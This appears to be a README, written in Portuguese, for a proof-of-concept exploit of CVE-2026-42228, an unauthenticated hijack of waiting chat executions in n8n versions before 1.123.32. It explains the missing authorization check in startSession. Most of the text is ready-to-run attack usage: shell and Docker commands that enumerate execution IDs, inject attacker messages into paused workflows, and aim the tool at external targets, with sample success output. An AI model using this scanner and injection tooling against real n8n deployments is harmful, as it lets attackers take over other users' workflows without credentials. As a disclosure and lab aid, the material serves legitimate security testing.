
Prova de conceito de exploit para CVE-2026-42228, uma vulnerabilidade de sequestro de execução de chat não autenticada no n8n, com scripts automatizados de varredura e ataque.
CVE: CVE-2026-42228
Severidade: Alta
Afetados: n8n < 1.123.32
Corrigido em: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() aceita um executionId da string de consulta
do WebSocket e apenas verifica se a execução existe no banco de dados. Nunca
verifica se o chamador está autorizado a acessar essa execução.
Um atacante não autenticado que conhece (ou consegue enumerar) um ID de execução numérico válido para uma execução no estado aguardando pode:
/chat sem credenciais.Pré-requisitos:
aguardando.chmod +x exploit.sh
./exploit.sh setup
Isso baixa n8nio/n8n:1.123.22 (última versão afetada), cria a imagem do
atacante e inicia o alvo vulnerável em http://localhost:5678.
http://localhost:5678 e conclua o assistente de configuração (quaisquer credenciais).Abra a URL pública do Chat exibida no nó Chat Trigger e envie uma mensagem. A execução entrará no estado aguardando, pausada para a próxima resposta do chat.
./exploit.sh scan
# ou especifique um intervalo:
./exploit.sh scan 1 500
Saída esperada quando uma execução vulnerável é encontrada:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# ou com um payload personalizado:
./exploit.sh attack 7 "custom injected message"
De volta ao editor do n8n, o workflow é retomado com a mensagem injetada pelo atacante em vez da entrada do usuário legítimo.
# Criar a imagem do atacante
docker build -t n8n-chat-hijack-poc .
# Escanear (anexa à rede compartilhada do laboratório)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# Atacar uma execução específica
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# Contra um alvo externo (sem necessidade de flag de rede)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
Para os contêineres e remove os volumes (incluindo o banco de dados SQLite).
| Arquivo | Descrição |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | PoC Python autônomo |
Dockerfile | Imagem do contêiner do atacante |
docker-compose.yml | Laboratório completo: n8n vulnerável + atacante |
exploit.sh | Script auxiliar para operações comuns |